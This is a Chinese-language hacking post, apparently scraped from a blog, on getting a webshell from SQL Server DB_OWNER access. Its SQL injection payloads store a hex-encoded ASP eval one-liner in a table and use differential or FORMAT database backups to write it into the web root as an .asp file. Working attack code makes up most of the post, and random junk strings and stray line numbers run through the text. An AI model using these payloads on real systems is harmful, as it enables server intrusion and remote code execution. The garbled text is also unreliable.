DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

: [- w4 R" ]; v2 U; Z减少备份文件大小，得到可执行的webshell成功率提高不少
3 Z# p8 a$ I4 y( E' k4 F2 D一利用差异备份
加一个参数WITH DIFFERENTIAL

7 \' e3 B8 l8 O5 N- ^1
2
2 t* |% t# g+ G/ X" _& j2 t3
- D/ m" T7 J$ A4
8 \; E4 Q) Q+ e2 I  b8 F( u declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

8 a/ f0 ]( d$ d: H8 I6 v- x二利用完全FORMAT
( r; b. S/ c# g' U! E加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

1
( G* i/ ?* ~5 c  S4 N2
3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
9 s  p7 e$ |6 p" d6 hcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
' U; t7 L4 m" `9 V; K# R3 Pdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
  Y* X" ~6 q; g' i# }/ y
9 D; Q3 a1 U* i! L. T% a* K总的来说就是那么简单几句,下面以备份数据库model为例子
1
% D. A" {5 R; ]& ~0 w; q0 q
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

( a1 H; Q1 _! w8 t2 d( `2
4 P. |  j5 [1 L% ~) D5 W0 ]
! K! i1 t( t4 k4 R# `1
id=1;backup database model to disk='你的路径‘ with differential,format;--
  v6 G/ L; J0 g3 F" w! G